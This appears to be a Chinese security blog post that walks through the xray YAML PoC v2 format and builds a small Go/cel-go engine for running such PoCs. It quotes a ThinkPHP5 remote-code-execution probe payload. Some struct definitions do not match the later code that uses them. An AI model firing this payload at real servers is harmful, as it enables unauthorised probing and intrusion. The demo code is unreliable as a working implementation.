从去年开始 xray的yml poc升级到了v2版本和v1版本相比,执行流程上有了较大变化,以较为简单的thinkphp5的poc来看
v1版本
name: poc-yaml-thinkphp5-controller-rce
rules:
- method: GET
path: /index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
expression: |
response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
detail:
links:
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
v2版本
name: poc-yaml-thinkphp5-controller-rce
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
expression: response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
expression: r0()
detail:
links:
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
最主要的区别是是新增了transport、expression两个字段。
transport的取值范围为tcp、udp、http,给xray赋予了探测tcp协议的漏洞。
expression字段改变了v1 poc的执行流程,可利用短路的逻辑来设计执行的流程。
为了彻底搞明白cel执行yml poc的流程,今天就写一个最简单的yml 执行引擎demo,来学习执行的整体流程以及思路。
xray是使用cel-go来做执行引擎的,所以需要cel-go和golang的基础
关于cel语法的demo,可以查看
https://github.com/google/cel-go/blob/master/examples/README.md
https://codelabs.developers.google.com/codelabs/cel-go#0
1.反序列化yml文件
执行yml文件第一步是要把yml反序列化到golang的结构体,根据poc文件可以提取出如下结构体
package main
import (
"gopkg.in/yaml.v2"
"io/ioutil"
)
type Poc struct {
Name string `yaml:"name"`
Transport string `yaml:"transport"`
Set map[string]string `yaml:"set"`
Rules map[string]Rule `yaml:"rules"`
Expression string `yaml:"expression"`
Detail Detail `yaml:"detail"`
}
type Rule struct {
Request RuleRequest `yaml:"request"`
Expression string `yaml:"expression"`
}
type RuleRequest struct {
Cache bool `yaml:"cache"`
method string `yaml:"method"`
path string `yaml:"path"`
Expression string `yaml:"expression"`
}
type Detail struct {
Links []string `yaml:"links"`
}
func main() {
poc := Poc{}
pocFile, _ := ioutil.ReadFile("poc.yml")
err := yaml.Unmarshal(pocFile,&poc)
if err != nil{
println(err.Error())
}
println(pocFile)
}
符合预期
2.处理set 全局变量
尽管这个poc中没有使用到set这个结构,但是其他poc中大量使用set结构来保存全局变量
如
所以需要一个定义一个map来保存变量,而变量的值就是来源于cel-go执行语句,并获取out,可以定义如下函数
func execSetExpression(Expression string) (interface{}, error) {
//定义set 内部函数接口
setFuncsInterface := cel.Declarations(
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.String)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_string",
[]*exprpb.Type{decls.Int},
decls.String)),
)
//实现set 内部函数接口
setFuncsImpl := cel.Functions(
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
min := int(lhs.Value().(int64))
max := int(rhs.Value().(int64))
return types.String(strconv.Itoa(min + randSource.Intn(max-min)))
}},
&functions.Overload{
Operator: "randomLowercase_string",
Unary: func(lhs ref.Val) ref.Val {
n := lhs.Value().(int64)
letterBytes := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
)
randBytes := make([]byte, n)
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return types.String(randBytes)
}},
)
//创建set 执行环境
env, err := cel.NewEnv(setFuncsInterface)
if err != nil {
log.Fatalf("environment creation error: %vn", err)
}
ast, iss := env.Compile(Expression)
if iss.Err() != nil {
log.Fatalln(iss.Err())
return nil, iss.Err()
}
prg, err := env.Program(ast, setFuncsImpl)
if err != nil {
return nil, errors.New(fmt.Sprintf("Program creation error: %vn", err))
}
out, _, err := prg.Eval(map[string]interface{}{})
if err != nil {
log.Fatalf("Evaluation error: %vn", err)
return nil, errors.New(fmt.Sprintf("Evaluation error: %vn", err))
}
return out, nil
}
进行测试,符合预期
3.生成request和response
部分request中会{{rand}}
这种格式来使用上一步中生成的全局变量,
可以定义如下渲染函数
// 渲染函数 渲染变量到request中
func render(v string, setMap map[string]interface{}) string {
for k1, v1 := range setMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
v1Value := fmt.Sprintf("%v", v1)
t := "{{" + k1 + "}}"
if !strings.Contains(v, t) {
continue
}
v = strings.ReplaceAll(v, t, v1Value)
}
return v
}
再看expression
字段中response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
有一个response结构体,抽象成golang代码,大概如下
type Response struct {
Body []byte
}
但是在cel中是不能直接使用golang的struct的,需要用proto来做一个转换
定义如下proto文件
syntax = "proto3";
option go_package = "./;structs";
package structs;
message Response {
//数据类型 字段名称 字段id
bytes body = 1;
}
通过protoc -I . --go_out=. requests.proto
生成go文件
然后定义如下函数来执行单条rule的表达式,返回值为如bool,来判断单条rule是否成立
func execRuleExpression(Expression string, variableMap map[string]interface{}) bool {
env, _ := cel.NewEnv(
cel.Container("structs"),
cel.Types(&structs.Response{}),
cel.Declarations(
decls.NewVar("response", decls.NewObjectType("structs.Response")),
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
),
)
funcImpl := []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
)}
ast, iss := env.Compile(Expression)
if iss.Err() != nil {
log.Fatalln(iss.Err())
}
prg, err := env.Program(ast, funcImpl...)
if err != nil {
log.Fatalf("Program creation error: %vn", err)
}
out, _, err := prg.Eval(variableMap)
if err != nil {
log.Fatalf("Evaluation error: %vn", err)
}
return out.Value().(bool)
}
然后根据request流程,可以抽象为如下匿名函数,方便最后执行poc中的Expression
var RequestsInvoke = func(target string, setMap map[string]interface{}, rule Rule) bool {
var req *http.Request
var err error
if rule.Request.Body == "" {
req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), nil)
} else {
req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), bytes.NewBufferString(render(rule.Request.Body, setMap)))
}
if err != nil {
log.Println(fmt.Sprintf("http request error: %s", err.Error()))
return false
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
println(err.Error())
return false
}
response := &structs.Response{}
response.Body, _ = ioutil.ReadAll(resp.Body)
return execRuleExpression(rule.Expression, map[string]interface{}{"response": response})
}
4.执行poc Expression
将前面生成的request匿名函数,按照rules中的key定义成函数。注入到cel执行环境中,即可实现短路的逻辑,避免无效请求。
func execPocExpression(target string, setMap map[string]interface{}, Expression string, rules map[string]Rule) bool {
var funcsInterface []*exprpb.Decl
var funcsImpl []*functions.Overload
for key, rule := range rules {
funcName := key
funcRule := rule
funcsInterface = append(funcsInterface, decls.NewFunction(key, decls.NewOverload(key, []*exprpb.Type{}, decls.Bool)))
funcsImpl = append(funcsImpl,
&functions.Overload{
Operator: funcName,
Function: func(values ...ref.Val) ref.Val {
return types.Bool(RequestsInvoke(target, setMap, funcRule))
},
})
}
env, err := cel.NewEnv(cel.Declarations(funcsInterface...))
if err != nil {
log.Fatalf("environment creation error: %vn", err)
}
ast, iss := env.Compile(Expression)
if iss.Err() != nil {
log.Fatalln(iss.Err())
}
prg, err := env.Program(ast, cel.Functions(funcsImpl...))
if err != nil {
log.Fatalln(fmt.Sprintf("Program creation error: %vn", err))
}
out, _, err := prg.Eval(map[string]interface{}{})
return out.Value().(bool)
}
代码仅为学习使用,为了精简代码体量,绝大多数函数和结构体未实现。
5.测试
项目代码全部开源在:
https://github.com/lanyi1998/yml-poc-demo
参考项目:
https://github.com/google/cel-go
https://github.com/jjf012/gopoc
https://github.com/WAY29/pocV
https://docs.xray.cool/#/guide/poc/v2
原文始发于微信公众号(漏洞推送):如何解析并白嫖xray yml V2 poc
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